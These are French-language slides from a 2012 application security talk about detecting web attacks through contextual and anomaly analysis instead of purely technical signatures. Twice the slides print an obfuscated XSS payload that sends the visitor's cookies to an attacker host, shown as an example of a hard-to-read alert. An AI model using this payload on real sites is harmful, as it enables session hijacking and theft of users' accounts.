Application Security Forum - 2012 Western Switzerland

7-8 novembre 2012 - Y-Parc / Yverdon-les-Bains https://www.appsec-forum.ch

Défense des applications web, analyse technique vs analyse contextuelle

Matthieu Estrade

CTO/ BeeWare

Le Web

Basé sur des RFC et des standards datant de 1989…

Un protocole qui ne gère pas nativement les sessions

Plus de 90% des entreprises ont au moins un intranet/extranet Web

Les dernières technologies IT utilisent massivement HTTP – Mobilité (Synchronisation, applications distantes)

– Cloud (API REST, Webservices etc.)

La sécurité des applications Web Plus complexe que la sécurité réseau

– Des données hétérogènes – Des données en provenance de l’utilisateur – Des standards pas forcément respectés – Des frameworks de développement + ou - évolués

Demande une expertise éparpillée dans l’entreprise

– Système – Réseau – Développement – Sécurité

Ces équipes ne parlent le même langage…

Des contraintes d’exploitation: Les faux positifs

Demandent une analyse poussée sur la requête pour désactiver ou non une règle de sécurité

Peuvent être générés par l’application elle-même, car mal développée Peuvent rapidement inonder les logs et rendre le dispositif de sécurité

inopérant

Un expert sécurité analyse une attaque Un exploitant analyse une requête !

value» onclick=«var _0xc454 =

["\x68\x74\x74\x70\x3A\x2F\x2F\x68\x61\x63\x6B\x33\x72\x2E\x6F\x72\x67\x2F\x65\x76\x69\x6C\x2E\x70\x68\x70\x3F\x63\x6F\x6F\x6B\x69\x65\x3D","\x63\x6F\x6F\x6B\x69\x65","\x6F\x70\x65\x6E"];window[_0xc454[2]](_0xc454[0]+document[_0xc454[1]]);

Analyse d’une attaque

Analyse technique d’une tentative d’exploitation de vulnérabilité

Des techniques connues

– TOP10 Owasp, WASC TC v2…

Des variantes en fonction des différents composants de l’infrastructure HTTP

– (Encoding, Serveur web, Annuaire, DB etc.)

Mesure de l’impact (ex: CVSS)

Une compétition technique

Recherche de vulnérabilités

Exploitation

Mise en place de défenses

Recherche de contournement

Obfuscation

Mise en place de contre-mesures

L’infrastructure HTTP

Devient de plus en plus importante

– De 10 à +3000 applications…

Devient de plus en plus complexe

– Plusieurs étages de traitements, fonctionnement « event », webservices, authentification, base de données etc.

Génère de plus en plus de trafic

Demande de plus en plus de contrôle

L’analyse technique

Devient difficile à effectuer sur TOUTES les attaques et TOUS les incidents

Elle consomme un temps important dans les équipes sécurité

L’expertise requise est éparpillée dans l’entreprise et n’est pas tout le temps disponible

La sécurité dans la vie de tous les jours

N’est pas ou peu basée sur des critères techniques

Est analysée à chaque instant

Est analysée de façon progressive en fonction du contexte

Oppose des situations normales / anormales

Imaginez si vous deviez analyser techniquement chaque situation pour savoir si vous êtes en sécurité !

Analyse du contexte vs Analyse technique

Depuis que vous êtes à Yverdon, à l’Application Security Forum, dans cette salle, votre analyse sur votre sécurité est différente

Vous n’avez pas compté les caméras de surveillance ni recherché des retours sur leur efficacité sur Google !

Vous n’effectuez pas d’analyse de risque sur chaque personne que vous croisez !

Analyse du contexte vs Analyse technique

Et pourtant !

– Vous savez que vous êtes en sécurité

– Vous êtes dans une situation de confiance

Qu’est-ce qui remonterait votre niveau de vigilance ?

– Un évènement / situation qui sort du contexte !

– Une anomalie

Quelle adaptation pour HTTP ?

Il existe un contexte d’utilisation pour les applications et services web

Il existe un contexte d’utilisation de l’infrastructure HTTP

Il est possible de déterminer des situations normales et anormales dans ces différents contexte

Tout cela sans utiliser une expertise sécurité pour déterminer ce qui est menaçant.

Utilisation normale vs anomalie

Une application est utilisée de façon normale par TOUS ses utilisateurs normaux !

L’application génère elle-même son trafic

– C’est elle qui construit les liens de façon dynamique

– C’est elle qui propose le contenu et qui guide l’utilisateur dans la manière de l’utiliser

Il est donc possible de définir par la masse de trafic une navigation « normale »

Utilisation normale vs anomalie

Les utilisateurs d’une application ont souvent le même profil

– Poste de travail, périphérique mobile, Webservice

Ils ont souvent le même comportement sur l’application

– Lecture du contenu, clic sur les liens intéressants, recherche d’information les concernants

– Navigation commune

Utilisation normale vs anomalie

Une application est souvent utilisée par des clients d’une même zone géographique, ou au contraire d’une multitude d’endroits.

Selon cette provenance géographique, il est possible d’associer une réputation au client

Spécialiser les analyses par critères

Analyse contextuelle

Connaissance

De l’application

Analyse de la navigation

Réputation du client

Géolocalisation

Détection du type de client

Détection de contenu offensif

Chaque critère = un agent

Fournit trois métriques par analyse – Connaissance de la situation

– Fiabilité de cette connaissance

– Dangerosité de cette situation

Est influencé par les autres agents

Chaque agent apprend selon le résultat des autres

Analyse par les agents

Résultat

Apprentissage par chaque

agent

Connaissance de l’application

Construction en temps réel de la structure de l’application

Détection des formats

Algorithme des phéromones de fourmis

Connaissance en temps réel – De l’utilisation des ressources à l’instant T et dans un

passé proche: Tendance actuelle

– De l’utilisation des ressources depuis qu’elles ont été demandées: Historique

Analyse du client

Réputation de l’utilisateur

– Basée sur son utilisation des ressources et sur le résultat de l’agent connaissance de l’application

– Basée sur le résultat de l’agent de détection de contenu offensif

– Basée sur les informations d’authentification

– Partagée entre les différents boitiers

– Possibilité de croiser les résultats avec des bases externes

Analyse du client

Fingerprint – Poste de travail, plateforme mobile, Webservices

– Détection de la version du client

– Analyse de l’ordre d’envoi des headers

– Analyse des options installées

Géolocalisation – Provenance externe ou interne

– Statistique d’utilisation sur les différents pays

– Définition des pays à risque

Analyse de la navigation

Fréquence d’utilisation des ressources

– Détection des processus automatisés

– Temps entre les différentes demandes

Type de ressources demandées

– Téléchargement des images et feuilles de style

Enchainement des actions

– Récupération des formulaires d’authentification

– Accès direct aux ressources sensibles

Détection de contenu offensif

Analyse du contenu en fonction de son utilisation

Méthodes de détection de vulnérabilité et d’analyse de la structure applicative

Exploitation de vulnérabilité, injection de commande, de syntaxes SQL, de Javascript etc.

Tentatives de compromission avec mise en place de backdoor, exécution de commandes etc.

Des indicateurs non techniques

Cette requête utilise la ressource index.php comme 97% des utilisateurs lors des dernières 30 minutes

Cette requête utilise la ressource index.php comme 99,6% des utilisateurs depuis qu’elle est disponible

Cette requête contient un contenu suspicieux

Cette requête a été effectuée par un navigateur conforme à 98% à Internet Explorer 8

Cette requête provient de la France comme 98% des visites

Ce client a accédé à cette ressource en ayant suivi une navigation commune à 87% des utilisateurs

Plusieurs utilisations possibles

En complément d’un moteur classique de détection d’intrusion avec une classification technique

– Aide à la décision et filtrage des évènements sécurité par niveau de vigilance

Utilisation en standalone avec définition assistée du contexte applicatif

Une prise de décision progressive

Pondération des différents résultats au cours de l’analyse

Un contexte et une utilisation connue de l’application vont faire baisser le niveau de vigilance de la détection de contenu offensif

Mémorisation de l’utilisation récente de l’application

Adaptation du contexte à chaque requête

Processus décisionnel

+/- vigilance

Connaissance de

l’application

+/- vigilance

Connaissance du client Résultat

Détection contenu offensif

Mémorisation de l’historique (passé proche)

Adaptation progressive

Une ressource jamais ou peu utilisée sera analysée avec une vigilance maximum sur le contenu offensif

Une ressource connue utilisée avec du contenu offensif par la majorité des utilisateurs sera analysée avec une vigilance diminuée sur ce contenu offensif

Au fur et à mesure de l’utilisation de l’application, le moteur détermine le contexte d’utilisation normal de l’application

Utilisé sur une infrastructure HTTP, il peut aussi déterminer l’utilisation normale d’une application dans un ensemble de composants applicatifs

Prise de décision

Un filtrage possible selon l’importance de l’anomalie Des indicateurs non technique basés sur l’utilisation « normale » de

l’application Une réduction progressive de la surface d’attaque Une simplicité et une compréhension de l’alerte sécurité

Une rupture totale avec les alertes type XSS sur la variable id contenant

par exemple: – value» onclick=«var _0xc454 =

["\x68\x74\x74\x70\x3A\x2F\x2F\x68\x61\x63\x6B\x33\x72\x2E\x6F\x72\x67\x2F\x65\x76\x69\x6C\x2E\x70\x68\x70\x3F\x63\x6F\x6F\x6B\x69\x65\x3D","\x63\x6F\x6F\x6B\x69\x65","\x6F\x70\x65\x6E"];window[_0xc454[2]](_0xc454[0]+document[_0xc454[1]]);

En quelques mots…

Sécurité renforcée – Adaptée au contexte applicatif

– Différente du modèle classique whitelist/blacklist

– Réduction progressive de la surface d’attaque

Un exploitation simplifiée – Des indicateurs simples pour une décision rapide

– Une analyse non technique

– Un focus sur les anomalies et non les faux positifs

Questions?

30

Merci/Thank you!

Contact:

mestrade@bee-ware.net

@mestrade

Slides: http://slideshare.net/ASF-WS/presentations

31